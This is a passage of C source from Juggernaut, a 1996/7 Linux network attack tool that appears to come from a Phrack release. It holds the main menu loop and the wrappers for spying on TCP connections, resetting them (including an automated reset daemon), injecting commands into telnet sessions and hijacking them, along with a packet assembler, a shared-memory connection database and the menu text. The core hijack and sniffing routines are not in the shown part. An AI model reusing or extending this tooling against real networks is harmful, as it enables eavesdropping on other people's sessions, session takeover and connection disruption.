  848.             case 'h':                       /* Help is on the way my friend */
  849.                 usage(argv[0]);
  850.                 exit(0);
  851.             case 'H':                       /* Help is on the way my friend */
  852.                 bookworm();
  853.                 exit(0);
  854.         default:
  855.             usage(argv[0]);
  856.             break;
  857.         }     
  858.     }
  859.     if(token[0]){
  860.         bloodhound(token,enticementfactor); 
  861.         exit(0);
  862.     }
  863.  
  864.     mwipe();
  865.     minit();                    /* Initial menu */
  866.     fprintf(stderr,"[cr]");
  867.     getchar();
  868.  
  869.     signal(SIGINT,twitch);            /* Catch these signals */
  870.     signal(SIGQUIT,twitch);
  871.  
  872.     ripsock=rawsock();                /* Setup RIP socket */
  873.     linksock=tap(DEVICE);                   /* Setup link socket */ 
  874.  
  875.     powerup();                    /* Setup shared memory and 
  876.                                                semaphore */
  877.     time(&uptime);                          /* Start the uptime timer */
  878.     hunt();                    /* Start the connection hunter */
  879.     
  880.     while(1){
  881.         mwipe();
  882.         mmain();
  883.         bzero(&buf,sizeof(buf));
  884.         fgets(buf,sizeof(buf),stdin);
  885.         switch(buf[0]){
  886.             case '?':
  887.                 mwipe();
  888.                 bookworm();
  889.                 mwipe();
  890.                 break;
  891.             case '0':
  892.                 mwipe();
  893.                 jinfo();
  894.                 mwipe();
  895.                 break;
  896.             case '1':
  897.                 mwipe();
  898.                 dbmanip();
  899.             mwipe();
  900.             break;
  901.             case '2':               /* Watch a connection. */
  902.                 mwipe();
  903.             spy();            
  904.             mwipe();
  905.             break;
  906.             case '3':                /* Kill a connection. */
  907.             mwipe();
  908.             rst();            
  909.             mwipe();
  910.         break;
  911.         case '4':               /* Automated CRST daemon. */
  912.         mwipe();
  913.         arst();            
  914.         mwipe();
  915.         break;
  916.         case '5':            /* Insert a single command. */
  917.         mwipe();        
  918.         simplexhijack();
  919.         mwipe();
  920.         break;
  921.         case '6':            /* Hijack the session from the client */
  922.         mwipe();        
  923.         hijack();
  924.         mwipe();
  925.         break;
  926.         case '7':                /* The packet assembly workshop */
  927.         mwipe();
  928.         pkta();            
  929.         mwipe();
  930.         break;
  931.         case '8':            /* For future use. */
  932.         break;
  933.             case '9':
  934.                 cleanexit();
  935.             default:
  936.             continue;
  937.         }
  938.     }
  939.                                 /* NOT REACHED */
  940.     return(0);
  941. }
  942.  
  943.  
  944. /*
  945.  *  chunt wrapper
  946.  */
  947.  
  948. void hunt(){
  949.  
  950. #ifdef MULTI_P
  951.     void spasm();                /* Handles the user defined signal */
  952.     void chunt();
  953.  
  954.     switch((hpid=fork())){
  955.         case 0:                    /* Child */
  956.         signal(SIGUSR1,spasm);
  957.         signal(SIGINT,SIG_IGN);        /* Catch these signals */
  958.         signal(SIGQUIT,SIG_IGN);
  959.         close(ripsock);            /* Not needed in hunter */
  960.         chunt();
  961.         default:
  962.         break;                /* Parent continues */
  963.         case -1:
  964.         if(verbosity)perror("(hunt) internal forking error [fatal]");
  965.         exit(1);
  966.     }    
  967. #endif
  968.  
  969. #ifdef THREAD
  970.  
  971.     MULTIPLE THREADS OF EXECUTION IS NOT IMPLEMENTED YET.
  972.  
  973.     void chunt();
  974.  
  975.     pthread_t hunter_t;
  976.  
  977.     pthread_create(&hunter_t,NULL,(void *)chunt(),(void *)NULL);
  978.  
  979. #endif
  980.  
  981. }
  982.  
  983.  
  984. /*
  985.  *  cspy wrapper
  986.  */
  987.  
  988. void spy(){
  989.  
  990.     void convulsion();
  991.     float dump();
  992.     struct connectionInfo *checkc(int);
  993.     void cspy(struct connectionInfo *,FILE *);
  994.  
  995.     char buf[MINIBUF];
  996.     unsigned short val;
  997.     struct connectionInfo *target;
  998.     FILE *fp=0;    
  999.  
  1000.     dump();                            
  1001.     
  1002.     while(1){
  1003.         fprintf(stderr,"\nChoose a connection [q] >");
  1004.         fgets(buf,sizeof(buf),stdin);
  1005.         if(buf[0]==0x0a||buf[0]=='q')return;
  1006.         if(!(int)(val=atoi(buf)))continue;
  1007.         if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");    
  1008.         else break;
  1009.     }
  1010.     fprintf(stderr,"\nDo you wish to log to a file as well? [y/N] >");
  1011.     fgets(buf,sizeof(buf),stdin);
  1012.     if(toupper(buf[0])=='Y'){
  1013.         if(!(fp=fopen(LOGFILE,"a+"))){
  1014.             if(verbosity){
  1015.                 fprintf(stderr,"Cannot open file for logging, skipping operation.\n");
  1016.                 fprintf(stderr,"[cr]");
  1017.                 getchar();
  1018.             }
  1019.         }
  1020.     }
  1021.     fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when done.\n");
  1022.     signal(SIGINT,convulsion);
  1023.     sigsentry=1;
  1024.     cspy(target,fp);
  1025.     if(fp)fclose(fp);
  1026. }
  1027.  
  1028.  
  1029. /*
  1030.  *  crst wrapper
  1031.  */ 
  1032.  
  1033. void rst(){
  1034.  
  1035.     void convulsion();
  1036.     float dump();
  1037.     void crst(struct connectionInfo *);    
  1038.  
  1039.     struct connectionInfo *checkc(int);
  1040.  
  1041.     char buf[MINIBUF];
  1042.     unsigned short val;
  1043.     struct connectionInfo *target;
  1044.  
  1045.     dump();
  1046.     
  1047.     while(1){
  1048.         fprintf(stderr,"\nChoose a connection [q] >");
  1049.     fgets(buf,sizeof(buf),stdin);
  1050.     if(buf[0]==0x0a||buf[0]=='q')return;
  1051.        if(!(int)(val=atoi(buf)))continue;
  1052.     if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
  1053.     else break;
  1054.     }
  1055.     signal(SIGINT,convulsion);
  1056.     crst(target);                            
  1057.     fprintf(stderr,"[cr]");
  1058.     getchar();
  1059. }
  1060.  
  1061.  
  1062. /*
  1063.  *  acrst wrapper
  1064.  */ 
  1065.  
  1066. void arst(){
  1067.  
  1068.     void convulsion();
  1069.     float dump();
  1070.     void acrst(unsigned long,unsigned long);
  1071.     char *hostLookup(unsigned long);
  1072.     unsigned long nameResolve(char *);
  1073.  
  1074.     char buf[4*MINIBUF];
  1075.     unsigned long source,target;
  1076.                             /* Setup addresing info */
  1077.     fprintf(stderr,"\nEnter source IP [q] >");
  1078.     fgets(buf,sizeof(buf),stdin);
  1079.     if(buf[0]==0x0a||buf[0]=='q')return;            
  1080.     if(!(source=nameResolve(buf))){
  1081.         if(verbosity){
  1082.             fprintf(stderr,"Name lookup failure: `%s`\n[cr]",buf);
  1083.             getchar();     
  1084.         }
  1085.         return;
  1086.     }
  1087.     fprintf(stderr,"\nEnter target IP (optional) [q] >");
  1088.     fgets(buf,sizeof(buf),stdin);
  1089.     if(buf[0]=='q')return;            
  1090.     if(buf[0]==0x0a)target=0;            /* target may be null, in this 
  1091.                                                case, we only care where
  1092.                                                the connection is coming from */
  1093.     else if(!(target=nameResolve(buf))){
  1094.     if(verbosity){
  1095.             fprintf(stderr,"Name lookup failure: %s\n[cr]",buf);
  1096.             getchar();     
  1097.         }
  1098.         return;
  1099.     }
  1100.     if(!target)fprintf(stderr,"Reseting all connection requests from:\t %s\n",hostLookup(source));
  1101.     else fprintf(stderr,"Reseting all connection requests from:\t %s --> %s\n",hostLookup(source),hostLookup(target));
  1102.     fprintf(stderr,"[cr]");
  1103.     getchar();
  1104.     acrst(source,target);                            
  1105. }
  1106.  
  1107.  
  1108. /* 
  1109.  *  dumpc wrapper
  1110.  */
  1111.  
  1112. float dump(){
  1113.  
  1114.     float dumpc();
  1115.     float usage=0;
  1116.  
  1117.     fprintf(stderr,"\nCurrent Connection Database:\n");
  1118.     fprintf(stderr,"-------------------------------------------------\n");
  1119.     fprintf(stderr,"ref #    source                            target  \n\n");
  1120.     usage=dumpc();
  1121.     fprintf(stderr,"-------------------------------------------------\n");
  1122.  
  1123.     return usage;
  1124. }
  1125.  
  1126.  
  1127. /*
  1128.  *  database manipulation routines go here..
  1129.  */
  1130.  
  1131. void dbmanip(){
  1132.  
  1133.     float dump();
  1134.     void cleardb();
  1135.  
  1136.     float usage=0;
  1137.     char buf[MINIBUF];
  1138.  
  1139.     usage=dump();
  1140.  
  1141.     if(usage)fprintf(stderr,"\nDatabase is %.02f%% to capacity.",usage);
  1142.     else fprintf(stderr,"\nDatabase is empty.");
  1143.  
  1144.     fprintf(stderr,"\n[c,q] >");
  1145.     fgets(buf,sizeof(buf),stdin);
  1146.  
  1147.     if(buf[0]=='c'){
  1148.         fprintf(stderr,"\nClear entire connection database? [y/N] >");
  1149.         fgets(buf,sizeof(buf),stdin);
  1150.         if(buf[0]=='y'){
  1151.             cleardb();
  1152.             fprintf(stderr,"\nConnection database cleared.\n[cr]");
  1153.             getchar();
  1154.         }
  1155.     }
  1156. }
  1157.  
  1158. /*
  1159.  *  Juggernaut version and option information
  1160.  */
  1161.  
  1162. void jinfo(){
  1163.  
  1164.     time_t current=0;
  1165.  
  1166.     fprintf(stderr,"Juggernaut %s route@infonexus.com [guild 1996/7]\n",version);
  1167.  
  1168.     fprintf(stderr,"\nJuggernaut compiled with the following options:\n");
  1169. #ifdef MULTI_P
  1170.     fprintf(stderr," Multi-processing\n");
  1171. #endif
  1172.  
  1173. #ifdef NOHUSH
  1174.     fprintf(stderr," Audible notification\n");
  1175. #endif
  1176.  
  1177. #ifdef USENAME
  1178.     fprintf(stderr," Use hostnames\n");
  1179. #endif
  1180.  
  1181. #ifdef GREED
  1182.     fprintf(stderr," Greedy connections\n");
  1183. #endif
  1184.  
  1185. #ifdef FASTCHECK
  1186.     fprintf(stderr," Fast IP checksuming\n");
  1187. #endif
  1188.  
  1189. #ifdef IP_HDRINCL
  1190.     fprintf(stderr," IP header include\n");
  1191. #endif
  1192.  
  1193. #ifdef THREAD
  1194.     fprintf(stderr," Multi-threading\n");
  1195. #endif
  1196.  
  1197.     time(¤t);
  1198.     fprintf(stderr,"Juggernaut has been running %.02f minutes\n",(difftime(current,uptime)/60));   
  1199.  
  1200.     fprintf(stderr,"[cr]");            
  1201.     getchar();
  1202. }
  1203.  
  1204. /*
  1205.  *  csimplexhijack wrapper
  1206.  */
  1207.  
  1208. void simplexhijack(){
  1209.  
  1210.  
  1211.     void sputter();
  1212.     float dump();
  1213.     void csimplexhijack(struct connectionInfo *,char *);
  1214.     void cspy(struct connectionInfo *,FILE *);
  1215.     struct connectionInfo *checkc(int);
  1216.     
  1217.     char buf[MINIBUF];
  1218.     char commandbuf[BUFSIZE];
  1219.     unsigned short val;
  1220.     struct connectionInfo *target;
  1221.  
  1222.     dump();                            
  1223.     
  1224.     while(1){
  1225.         fprintf(stderr,"\nChoose a connection [q] >");
  1226.         fgets(buf,sizeof(buf),stdin);
  1227.         if(buf[0]==0x0a||buf[0]=='q')return;
  1228.         if(!(int)(val=atoi(buf)))continue;
  1229.         if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");    
  1230.         else break;
  1231.     }
  1232.     if(ntohs(target->dport)!=23){
  1233.         fprintf(stderr,"Hijacking only valid with telnet connections.\n");
  1234.         fprintf(stderr,"[cr]");
  1235.         getchar();
  1236.         return;
  1237.     }        
  1238.     fprintf(stderr,"Enter the command string you wish executed [q] >");
  1239.     fgets(commandbuf,sizeof(commandbuf),stdin);
  1240.     if(commandbuf[0]==0x0a)return;
  1241.     fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n");
  1242.     fprintf(stderr,"\nNOTE: This may cause an ACK storm until client is RST.\n");
  1243.     signal(SIGINT,sputter);
  1244.     sigsentry=1;
  1245.     cspy(target,0);                    
  1246.     csimplexhijack(target,commandbuf);
  1247.     fprintf(stderr,"[cr]");
  1248.     getchar();
  1249. }
  1250.  
  1251.  
  1252. /*
  1253.  *  chijack wrapper
  1254.  */
  1255.  
  1256. void hijack(){
  1257.  
  1258.     void sputter();
  1259.     float dump();
  1260.     void chijack(struct connectionInfo *);
  1261.     void cspy(struct connectionInfo *,FILE *);
  1262.     struct connectionInfo *checkc(int);
  1263.     
  1264.     char buf[MINIBUF];
  1265.     unsigned short val;
  1266.     struct connectionInfo *target;
  1267.  
  1268.     dump();                            
  1269.     
  1270.     while(1){
  1271.         fprintf(stderr,"\nChoose a connection [q] >");
  1272.         fgets(buf,sizeof(buf),stdin);
  1273.         if(buf[0]==0x0a||buf[0]=='q')return;
  1274.         if(!(int)(val=atoi(buf)))continue;
  1275.         if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");    
  1276.         else break;
  1277.     }
  1278.     if(ntohs(target->dport)!=23){
  1279.         fprintf(stderr,"Hijacking only valid with telnet connections.\n");
  1280.         fprintf(stderr,"[cr]");
  1281.         getchar();
  1282.         return;
  1283.     }        
  1284.     fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n");
  1285.     fprintf(stderr,"\nNOTE: This will cause an ACK storm and desynch the client until the connection is RST.\n");
  1286.     signal(SIGINT,sputter);
  1287.     sigsentry=1;
  1288.     cspy(target,0);                    
  1289.     sigsentry=1;
  1290.     chijack(target);
  1291.     fprintf(stderr,"[cr]");
  1292.     getchar();
  1293. }
  1294.  
  1295.  
  1296. /*
  1297.  *  Prometheus wrapper (packet assembly workshop)
  1298.  */
  1299.  
  1300. void pkta(){
  1301.  
  1302.     void mpkta();
  1303.     void mwipe();
  1304.     int prometheus(int);
  1305.     
  1306.     int val,mode;
  1307.     char buf[MINIBUF];
  1308.   
  1309.     while(1){
  1310.         mwipe();
  1311.         mpkta();
  1312.         fgets(buf,sizeof(buf),stdin);
  1313.         if(!(val=atoi(buf)))continue;
  1314.         switch(val){
  1315.             case 1:                     /* TCP */
  1316.                 mode=1;
  1317.             break;        
  1318.         case 2:                     /* UDP */
  1319.             mode=2;
  1320.         break;        
  1321.         case 3:                     /* ICMP */
  1322.                 mode=3;
  1323.         break;        
  1324.         case 4:                     /* IP */
  1325.                 mode=4;
  1326.             break;        
  1327.         case 5:                     /* Return */
  1328.             return;
  1329.         default:
  1330.             continue;
  1331.         }
  1332.         if(prometheus(mode))break;
  1333.     }               
  1334.                                     /* NOT REACHED */
  1335. }
  1336.  
  1337. <-->
  1338. <++> Juggernaut/NumberOneCrush/mem.c
  1339. /*
  1340.  *
  1341.  *                                  Juggernaut
  1342.  *                                  Version b1
  1343.  *
  1344.  *                            1996/7 Guild productions
  1345.  *                           daemon9[guild|phrack|r00t]
  1346.  *
  1347.  *                         comments to route@infonexus.com
  1348.  *
  1349.  *  This coding project made possible by a grant from the Guild corporation
  1350.  * 
  1351.  *  mem.c - contains shared memory and semaphore control logic
  1352.  * 
  1353.  *  Multi-process:
  1354.  *  Initializing and accesing shared memory:
  1355.  *  ----------------------------------------
  1356.  *  - Create the shared segment
  1357.  *  - Attach each process to the segment (in our case, the hunter child 
  1358.  *    process will inherit a pointer to the block)
  1359.  *  - Grab a semaphore 
  1360.  *  - Lock the semaphore; Manipulate shared segment; unlock the semaphore 
  1361.  *
  1362.  *
  1363.  *  Multi-threaded:
  1364.  */
  1365.  
  1366.  
  1367. #include <stdio.h>
  1368. #include <stdlib.h>
  1369. #include <string.h>
  1370. #include <arpa/inet.h>
  1371. #include <linux/if_ether.h>
  1372. #include <linux/ip.h>
  1373. #include <linux/tcp.h>
  1374. #include <sys/types.h>
  1375. #include <sys/ipc.h>
  1376. #include <sys/sem.h>
  1377. #include <sys/shm.h>
  1378.  
  1379. #define SHMKEY 242                 /* Shared memory key */
  1380. #define SEMKEY 424                 /* Semaphore key */
  1381. #define PERMS 0666                  /* Shared Memory Permissions */
  1382. #define MAXNODES 512            /* Maximum number of nodes */
  1383. #define ADDMSG "+"
  1384. #define DELMSG "-"
  1385.  
  1386. int semid;                          /* Semaphore ID */
  1387.  
  1388. struct sembuf lock[2]={{0,0,0},{0,1,SEM_UNDO}};         
  1389.                                     /* wait for sem#0 to become 0 then 
  1390.                                        increment sem#0 by 1 */
  1391. struct sembuf ulock[1]={{0,-1,(IPC_NOWAIT|SEM_UNDO)}};  
  1392.                                     /* decrement sem#0 by 1 (sets it to 0) */
  1393.  
  1394. struct epack{                       /* Generic Ethernet packet w/o data payload */
  1395.     struct ethhdr eth;              /* Ethernet Header */
  1396.     struct iphdr ip;                /* IP header */
  1397.     struct tcphdr tcp;              /* TCP header */
  1398.     char payload[8192];             /* Data Payload */
  1399. }epack;
  1400.  
  1401. static struct connectionInfo{       /* Simple tuple structure */
  1402.     unsigned long saddr;            /* Source IP */
  1403.     unsigned long daddr;            /* Destination IP */
  1404.     unsigned short sport;           /* Source TCP Port */
  1405.     unsigned short dport;           /* Destination TCP Port */
  1406. }*cinfo=0;
  1407.  
  1408. extern int verbosity;
  1409.  
  1410. /*
  1411.  *  Creates the shared memory segment then attaches it; then creates a binary 
  1412.  *  semaphore to guarantee exclusive access.  Clears the structure array.
  1413.  *  Dumps some info.    
  1414.  *  Much credit to Richard Stevens and Jeff Thompson.
  1415.  */
  1416.  
  1417. void powerup(){
  1418.     
  1419.     void locks();
  1420.     void ulocks();
  1421.     void cleardb();
  1422.  
  1423.     int shmid;                      /* Shared memory segment id */
  1424.     int len;
  1425.     
  1426.     len=sizeof(struct connectionInfo)*MAXNODES;
  1427.  
  1428.                                     /* Request a shared memory segment */
  1429.     if((shmid=shmget(SHMKEY,len,IPC_CREAT))<0){            
  1430.         if(verbosity)perror("(powerup) shared memory segment allocation error [fatal]");
  1431.         exit(1);
  1432.     }
  1433.                                     /* Get one semaphore to perform shared 
  1434.                                        memory locking with */
  1435.     if((semid=semget(SEMKEY,1,IPC_CREAT|PERMS))<0){            
  1436.         if(verbosity)perror("(powerup) semaphore allocation error [fatal]");
  1437.     exit(1);        
  1438.     }
  1439.                                     /* Attach to the shared memory segment */
  1440.     cinfo=(struct connectionInfo *)shmat(shmid,0,0);        
  1441.  
  1442.     cleardb();
  1443. }
  1444.  
  1445. /*
  1446.  *  Release the shared memory segment.
  1447.  */
  1448.  
  1449. void powerdown(){
  1450.  
  1451.     void locks();
  1452.     void ulocks();
  1453.  
  1454.     locks();
  1455.     shmdt((char *)cinfo);           /* Dettach the segment. */
  1456.     ulocks();
  1457. }
  1458.  
  1459. /*
  1460.  *  Locks the semaphore so the caller can access the shared memory segment.  
  1461.  *  This is an atomic operation.
  1462.  */
  1463.  
  1464. void locks(){
  1465.     if(semop(semid,&lock[0],2)<0){
  1466.         if(verbosity)perror("(locks) could not lock semaphore [fatal]");
  1467.         exit(1);
  1468.     }
  1469. }
  1470.         
  1471. /*
  1472.  *  Unlocks the semaphore so the caller can access the shared memory segment. 
  1473.  *  This is an atomic operation.
  1474.  */
  1475.  
  1476. void ulocks(){
  1477.     if(semop(semid,&ulock[0],1)<0){
  1478.         if(verbosity)perror("(ulocks) could not unlock semaphore [fatal]");
  1479.         exit(1);
  1480.     }
  1481. }
  1482.  
  1483.  
  1484. /* 
  1485.  *  Add a connection to our list.  Linear search of the WHOLE list to see if 
  1486.  *  it's already there (which IT SHOULDN'T BE...), if not, add it in the
  1487.  *  first open slot.
  1488.  */
  1489.  
  1490. char *addc(iphp,tcphp)
  1491. struct iphdr *iphp;
  1492. struct tcphdr *tcphp;
  1493. {
  1494.     void locks();
  1495.     void ulocks();
  1496.         
  1497.     int i=0;        
  1498.                             /* A wonderfully inefficient linear 
  1499.                                            search for duplicates */
  1500.  
  1501.     locks();                /* Lock shared memory segment */
  1502.     for(;i<MAXNODES;i++)if(iphp->saddr==cinfo[i].saddr&&iphp->daddr==cinfo[i].daddr&&tcphp->source==cinfo[i].sport&&tcphp->dest==cinfo[i].dport){
  1503.         ulocks();
  1504.     return(0);                      /* Opps.  Found a duplicate */
  1505.     }
  1506.                                 /* Find available slot */
  1507.     for(i=0;i<MAXNODES;i++){
  1508.     if(cinfo[i].saddr)continue;
  1509.     else{
  1510.         cinfo[i].saddr=iphp->saddr;
  1511.         cinfo[i].daddr=iphp->daddr;
  1512.         cinfo[i].sport=tcphp->source;
  1513.             cinfo[i].dport=tcphp->dest;
  1514.             ulocks();
  1515.         return(ADDMSG);
  1516.     }
  1517.     }                            /* Control falls here if array is 
  1518.                                            full (which is indicative of
  1519.                                            a BUSY NETWORK!@*/
  1520.     ulocks();
  1521.     return(0);                        
  1522. }
  1523.  
  1524.  
  1525. /* 
  1526.  *  Remove a connection from our list.  Linear search until we find a 
  1527.  *  correspoding entry, or we hit the end of the list.
  1528.  */
  1529.  
  1530. char *delc(iphp,tcphp)
  1531. struct iphdr *iphp;
  1532. struct tcphdr *tcphp;
  1533. {
  1534.         
  1535.     void locks();
  1536.     void ulocks();
  1537.  
  1538.     int i=0;        
  1539.  
  1540.     locks();                        /* Lock shared memory segment */
  1541.     for(;i<MAXNODES;i++)if(iphp->saddr==cinfo[i].saddr&&iphp->daddr==cinfo[i].daddr&&tcphp->source==cinfo[i].sport&&tcphp->dest==cinfo[i].dport){
  1542.     bzero(&cinfo[i],sizeof(cinfo[i]));
  1543.     ulocks();
  1544.         return(DELMSG);            /* Inform caller of success */
  1545.     }
  1546.     ulocks();
  1547.     return(0);                    /* hmm.  Wierd.   */
  1548. }
  1549.  
  1550.  
  1551. /* 
  1552.  *  Dump the connection list.
  1553.  */
  1554.  
  1555. float dumpc()
  1556. {
  1557.     void locks();
  1558.     void ulocks();
  1559.     char *hostLookup(unsigned long);
  1560.  
  1561.     int i=0;        
  1562.     float j=0;
  1563.  
  1564.     locks();
  1565.     for(;i<MAXNODES;i++)if(cinfo[i].saddr){
  1566.         fprintf(stderr,"(%d)\t %s [%d]\t-->\t %s [%d]\n",i+1,hostLookup(cinfo[i].saddr),ntohs(cinfo[i].sport),hostLookup(cinfo[i].daddr),ntohs(cinfo[i].dport));
  1567.         j++;
  1568.     }
  1569.     ulocks();
  1570.     if(!j)return(0);
  1571.     return(((j/MAXNODES)*100));     /* % utilization */
  1572. }
  1573.  
  1574.  
  1575. /* 
  1576.  *  Check for a connection by index number.  Really only here to make sure the
  1577.  *  connection hasn't been deleted since dump() was called....  I think I
  1578.  *  will deprecate this function in future versions...
  1579.  */
  1580.    
  1581. struct connectionInfo *checkc(target)
  1582. int target;
  1583. {       
  1584.     void locks();
  1585.     void ulocks();
  1586.  
  1587.     static struct connectionInfo tmp;
  1588.         
  1589.     locks();                    /* Lock shared memory segment */
  1590.     if(cinfo[--target].saddr){            
  1591.     memcpy(&tmp,&cinfo[target],sizeof(tmp));
  1592.     ulocks();
  1593.     return(&tmp);            
  1594.     }
  1595.     ulocks();                    /* Nope.  Not there */
  1596.     return((struct connectionInfo *)0);
  1597. }
  1598.  
  1599.  
  1600. /*
  1601.  *  Clear the connection database
  1602.  */
  1603.  
  1604. void cleardb(){
  1605.  
  1606.     void locks();
  1607.     void ulocks();
  1608.  
  1609.     int i=0;
  1610.  
  1611.     locks();
  1612.     for(;i<MAXNODES;i++)bzero(&cinfo[i],sizeof(cinfo[i]));
  1613.     ulocks();     
  1614. }
  1615. <-->
  1616. <++> Juggernaut/NumberOneCrush/menu.c
  1617. /*
  1618.  *
  1619.  *                                  Juggernaut
  1620.  *                                  Version b2
  1621.  *
  1622.  *                            1996/7 Guild productions
  1623.  *                           daemon9[guild|phrack|r00t]
  1624.  *
  1625.  *                         comments to route@infonexus.com
  1626.  *
  1627.  *  This coding project made possible by a grant from the Guild corporation
  1628.  *
  1629.  *  menu.c - menu functions.
  1630.  * 
  1631.  */
  1632.  
  1633. #include <stdio.h>
  1634.  
  1635. extern char version[];
  1636.  
  1637. /*
  1638.  *  Initial Screen
  1639.  */
  1640.  
  1641. void minit(){
  1642.  
  1643.     printf("\t\t\t   J U G G E R N A U T\n");
  1644.     printf("\t\t    multipurpose network tool for Linux\n");
  1645.     printf("\t\t\t       version: %s\n",version);
  1646.     printf("\n\n\n\n\n\n");
  1647.     printf("\t  (c) 1996/7 daemon9 | A Guild Corporation Production\t\t\t\n");
  1648.     printf("\n\n\n\n\n\n");
  1649. }
  1650.  
  1651. /*
  1652.  *  Main Menu
  1653.  */
  1654.  
  1655. void mmain(){
  1656.  
  1657.     printf("\t\t\t           Juggernaut\n");
  1658.     printf("\t\t\t+------------------------------+\n");
  1659.     printf("\t\t\t?) Help\n");
  1660.     printf("\t\t\t0) Program information\n");
  1661.     printf("\t\t\t1) Connection database\n");
  1662.     printf("\t\t\t2) Spy on a connection\n");
  1663.     printf("\t\t\t3) Reset a connection\n");
  1664.     printf("\t\t\t4) Automated connection reset daemon\n");
  1665.     printf("\t\t\t5) Simplex connection hijack\n");
  1666.     printf("\t\t\t6) Interactive connection hijack\n");
  1667.     printf("\t\t\t7) Packet assembly module\n");
  1668.     printf("\t\t\t8) Souper sekret option number eight\n");
  1669.     printf("\t\t\t9) Step Down\n");
  1670.     printf("\n\n\n\n\n\n\n\n\n");
  1671.     printf(">");
  1672. }    
  1673.  
  1674. /*
  1675.  *  Packet Assembly Menu [prometheus module]
  1676.  */
  1677.  
  1678. void mpkta(){
  1679.  
  1680.     printf("\t\t\t     Packet Assembly Module (beta)\n");
  1681.     printf("\t\t\t+------------------------------+\n");
  1682.     printf("\t\t\t1. TCP Assembler\n");
  1683.     printf("\t\t\t2. UDP Assembler\n");
  1684.     printf("\t\t\t3. ICMP Assembler\n");
  1685.     printf("\t\t\t4. IP Assembler\n");
  1686.     printf("\t\t\t5. Return to previous menu\n");
  1687.     printf("\n\n\n\n\n\n\n\n\n\n");
  1688.     printf(">");
  1689. }
  1690.  
  1691. /*
  1692.  *  TCP assembly options menu
  1693.  */
  1694.  
  1695. void mpktatcp(packetready,source,destination,seqnum,acknum,control,window,data)
  1696. int packetready;
  1697. unsigned short source;
  1698. unsigned short destination;
  1699. unsigned long seqnum;
  1700. unsigned long acknum;
  1701. char *control;
  1702. unsigned short window;
  1703. char data[512];
  1704. {
  1705.  
  1706.     printf("\t\t\t     TCP Packet Assembly\n");
  1707.     printf("\t\t\t+------------------------------+\n");
  1708.     if(!(packetready&0x01))printf("\t\t\t1. Source port\n");
  1709.     else printf("\t\t\tSource port: %d\n",source);
  1710.     if(!(packetready&0x02))printf("\t\t\t2. Destination port\n");
  1711.     else printf("\t\t\tDestination port: %d\n",destination);
  1712.     if(!(packetready&0x04))printf("\t\t\t3. Sequence Number\n");
  1713.     else printf("\t\t\tSequence Number: %ld\n",seqnum);
  1714.     if(!(packetready&0x08))printf("\t\t\t4. Acknowledgement Number\n");
  1715.     else printf("\t\t\tAcknowledgement Number: %ld\n",acknum);
  1716.     if(!(packetready&0x10))printf("\t\t\t5. Control Bits\n");
  1717.     else printf("\t\t\tControl Flags: %s\n",control);
  1718.     if(!(packetready&0x20))printf("\t\t\t6. Window Size\n");
  1719.     else printf("\t\t\tWindow Size: %d\n",window);
  1720.     if(!(packetready&0x40))printf("\t\t\t7. Data Payload\n");
  1721.     else printf("\t\t\tData payload: %s\n",data);
  1722.     printf("\t\t\t8. Return to previous menu\n");
  1723.     printf("\t\t\t9. Return to main menu\n");
  1724.     if(packetready==0x7F)printf("\t\t\t10. Pass packet to RIP assembler\n");
  1725.     printf("\n\n\n\n\n\n\n\n\n\n");
  1726.     printf(">");
  1727. }
  1728.  
  1729. /*
  1730.  *  UDP assembly options menu
  1731.  */
  1732.  
  1733. void mpktaudp(packetready,source,destination,data)
  1734. int packetready;
  1735. unsigned short source;
  1736. unsigned short destination;
  1737. char data[512];
  1738. {
  1739.     printf("\t\t\t     UDP Packet Assembly\n");
  1740.     printf("\t\t\t+------------------------------+\n");
  1741.     if(!(packetready&0x01))printf("\t\t\t1. Source port\n");
  1742.     else printf("\t\t\tSource port: %d\n",source);
  1743.     if(!(packetready&0x02))printf("\t\t\t2. Destination port\n");
  1744.     else printf("\t\t\tDestination port: %d\n",destination);
  1745.     if(!(packetready&0x04))printf("\t\t\t3. Data payload\n");
  1746.     else printf("\t\t\tData payload: %s\n",data);
  1747.     printf("\t\t\t4. Return to previous menu\n");
  1748.     printf("\t\t\t5. Return to main menu\n");
  1749.     if(packetready==0x7)printf("\t\t\t6. Pass packet to RIP assembler\n");
  1750.     printf("\n\n\n\n\n\n\n\n\n\n");
  1751.     printf(">");
  1752. }
  1753.  
  1754. /*
  1755.  *  ICMP assembly options menu
  1756.  */
  1757.  
  1758. void mpktaicmp(packetready,type,code,data)
  1759. int packetready;
  1760. unsigned short type;
  1761. unsigned short code;
  1762. char data[512];
  1763. {
  1764.  
  1765.     printf("\t\t\t     ICMP Packet Assembly\n");
  1766.     printf("\t\t\t+------------------------------+\n");
  1767.     if(!(packetready&0x01))printf("\t\t\t1. Type\n");
  1768.     else printf("\t\t\tType: %d\n",type);
  1769.     if(!(packetready&0x02))printf("\t\t\t2. Code\n");
  1770.     else printf("\t\t\tCode: %d\n",code);
  1771.     if(!(packetready&0x04))printf("\t\t\t3. Data payload\n");
  1772.     else printf("\t\t\tData payload: %s\n",data);
  1773.     printf("\t\t\t4. Return to previous menu\n");
  1774.     printf("\t\t\t5. Return to main menu\n");
  1775.     if(packetready==0x07)printf("\t\t\t6. Pass packet to RIP assembler\n");
  1776.     printf("\n\n\n\n\n\n\n\n\n\n");
  1777.     printf(">");
  1778. }
  1779.  
  1780. /*
  1781.  *  IP assembly options menu
  1782.  */
  1783.  
  1784. void mpktaip(packetready,tos,fflags,fo,ttl,saddr,daddr,number,packettype)
  1785. int packetready;
  1786. char *tos;
  1787. char *fflags;
  1788. unsigned short fo;
  1789. unsigned short ttl;
  1790. char *saddr;
  1791. char *daddr;
  1792. int number;
  1793. char *packettype;
  1794. {
  1795.  
  1796.     printf("\t\t\t     IP Packet Assembly\n");
  1797.     printf("\t\t\t+------------------------------+\n");
  1798.     if(!(packetready&0x01))printf("\t\t\t1. TOS\n");
  1799.     else printf("\t\t\tTOS: %s\n",tos);
  1800.     if(!(packetready&0x02))printf("\t\t\t2. Fragment Flags\n");
  1801.     else printf("\t\t\tFragment flags: %s\n",fflags);
  1802.     if(!(packetready&0x04))printf("\t\t\t3. Fragment Offset\n");
